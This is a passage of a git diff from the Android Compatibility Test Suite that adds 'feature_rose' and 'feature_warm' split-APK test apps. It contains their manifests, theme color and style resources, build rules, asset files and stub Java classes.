+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_rose">
+
+    <application>
+        <activity android:name=".RoseThemeActivity" android:theme="@style/Theme_Rose"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
new file mode 100644
index 0000000..2a4ddf3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
new file mode 100644
index 0000000..1b22fba
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light rose colors for Theme_Rose -->
+    <color name="rose_custom_color">@color/pink_light</color>
+    <color name="rose_navigation_bar_color">@color/rose_light</color>
+    <color name="rose_status_bar_color">@color/ruby_light</color>
+
+    <color name="pink_light">#ffffb6c1</color>
+    <color name="rose_light">#ffff66cc</color>
+    <color name="ruby_light">#ffff0da6</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
new file mode 100644
index 0000000..9a0ffe0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Rose" parent="@style/Theme_Base">
+        <item name="customColor">@color/rose_custom_color</item>
+        <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+        <item name="android:navigationBarColor">@color/rose_navigation_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
new file mode 100644
index 0000000..aafd845
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/colors.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <!-- rose colors for Theme_Rose -->
+    <color name="rose_custom_color">@color/pink</color>
+    <color name="rose_navigation_bar_color">@color/rose</color>
+    <color name="rose_status_bar_color">@color/ruby</color>
+
+    <color name="pink">#ffffc0cb</color>
+    <color name="rose">#ffff0da6</color>
+    <color name="ruby">#ffcc0080</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
new file mode 100644
index 0000000..607a392
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Rose" parent="@style/Theme_Base">
+        <item name="customColor">@color/rose_custom_color</item>
+        <item name="android:windowBackground">@drawable/rose_color_drawable</item>
+        <item name="android:statusBarColor">@color/rose_status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
new file mode 100644
index 0000000..5803fdf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/src/com/android/cts/splitapp/RoseThemeActivity.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp;
+
+public class RoseThemeActivity extends ThemeActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
new file mode 100644
index 0000000..0dcd16a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/Android.bp
@@ -0,0 +1,91 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_defaults {
+    name: "CtsSplitAppFeatureWarmDefaults",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    asset_dirs: ["assets"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    libs: ["CtsSplitApp"],
+}
+
+android_test_helper_app {
+    name: "CtsSplitAppFeatureWarm",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    package_splits: [
+        "v7",
+        "v23",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+        "--package-id 0x80",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant requiring a split for install
+android_test_helper_app {
+    name: "CtsNeedSplitFeatureWarm",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    manifest: "needsplit/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 12",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+        "--package-id 0x80",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with different codes and resources for the inherit updated test of the
+// feature_warm apk
+android_test_helper_app {
+    name: "CtsSplitAppFeatureWarmRevisionA",
+    defaults: ["CtsSplitAppFeatureWarmDefaults"],
+    srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+    resource_dirs: ["res", "revision_a/res"],
+    asset_dirs: ["revision_a/assets"],
+    manifest : "revision_a/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 10",
+        "--version-name OneHundredRevisionTen",
+        "--replace-version",
+        "--package-id 0x80",
+        "--auto-add-overlay",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
new file mode 100644
index 0000000..01cb9b7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/AndroidManifest.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <!-- New permission should be ignored -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+
+    <!-- New application flag should be ignored -->
+    <application android:largeHeap="true">
+        <activity android:name=".FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <service android:name=".FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <provider android:name=".FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/dir/dirfile2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/dir/dirfile2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/assets/file2.txt
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/assets/file2.txt
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
new file mode 100644
index 0000000..927c95e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/needsplit/AndroidManifest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm"
+     android:isSplitRequired="true">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <!-- New permission should be ignored -->
+    <uses-permission android:name="android.permission.INTERNET"/>
+
+    <!-- New application flag should be ignored -->
+    <application android:largeHeap="true">
+        <activity android:name=".FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <service android:name=".FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <provider android:name=".FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
new file mode 100644
index 0000000..e94b522
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/drawable/warm_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/customColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
new file mode 100644
index 0000000..d9a8bf2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- light warm colors for Theme_Warm -->
+    <color name="warm_custom_color">@color/red_light</color>
+    <color name="warm_navigation_bar_color">@color/orange_light</color>
+    <color name="warm_status_bar_color">@color/yellow_light</color>
+
+    <color name="red_light">#ffffcccb</color>
+    <color name="orange_light">#fffed8b1</color>
+    <color name="yellow_light">#ffffffed</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
new file mode 100644
index 0000000..bcdfda9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v23/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Warm" parent="@style/Theme_Base">
+        <item name="customColor">@color/warm_custom_color</item>
+        <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+        <item name="android:navigationBarColor">@color/warm_navigation_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values-v7/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values-v7/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
new file mode 100644
index 0000000..471403d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/colors.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <!-- warm colors for Theme_Warm -->
+    <color name="warm_custom_color">@color/red</color>
+    <color name="warm_navigation_bar_color">@color/orange</color>
+    <color name="warm_status_bar_color">@color/yellow</color>
+
+    <color name="red">#ffff0000</color>
+    <color name="orange">#ffffa500</color>
+    <color name="yellow">#ffffff00</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
new file mode 100644
index 0000000..2c6461a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/styles.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android">
+    <style name="Theme_Warm" parent="@style/Theme_Base">
+        <item name="customColor">@color/warm_custom_color</item>
+        <item name="android:windowBackground">@drawable/warm_color_drawable</item>
+        <item name="android:statusBarColor">@color/warm_status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
similarity index 100%
rename from hostsidetests/appsecurity/test-apps/SplitApp/feature/res/values/values.xml
rename to hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/res/values/values.xml
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
new file mode 100644
index 0000000..5398e47
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/AndroidManifest.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_warm">
+
+    <uses-sdk android:minSdkVersion="4"
+         android:targetSdkVersion="27"/>
+
+    <application>
+        <!-- Updates to .revision_a.FeatureActivity -->
+        <activity android:name=".revision_a.FeatureActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".WarmThemeActivity" android:theme="@style/Theme_Warm"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <receiver android:name=".FeatureReceiver"
+             android:enabled="@bool/feature_receiver_enabled"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.DATE_CHANGED"/>
+            </intent-filter>
+        </receiver>
+        <!-- Updates to .revision_a.FeatureService -->
+        <service android:name=".revision_a.FeatureService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.service"/>
+            </intent-filter>
+        </service>
+        <!-- Updates to .revision_a.FeatureProvider -->
+        <provider android:name=".revision_a.FeatureProvider"
+             android:authorities="com.android.cts.splitapp.provider"/>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
new file mode 100644
index 0000000..bfa925e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/dir/dirfileFA.txt
@@ -0,0 +1 @@
+DIRFILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
new file mode 100644
index 0000000..0c81c70
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/assets/fileFA.txt
@@ -0,0 +1 @@
+FILE_FA
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
new file mode 100644
index 0000000..a5cabe2
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/res/values/values.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <bool name="feature_receiver_enabled">false</bool>
+    <string name="feature_string">red-revision</string>
+    <integer name="feature_integer">456</integer>
+
+    <string name="feature_new_string">feature new string</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
new file mode 100644
index 0000000..790c2ad
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.app.Activity;
+
+public class FeatureActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
new file mode 100644
index 0000000..f1a6fd0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_warm/revision_a/src/com/android/cts/splitapp/revision_a/FeatureProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.splitapp.revision_a;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class FeatureProvider extends ContentProvider {
+    public static boolean sCreated = false;
+
+    @Override
+    public boolean onCreate() {
+        sCreated = true;
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+}
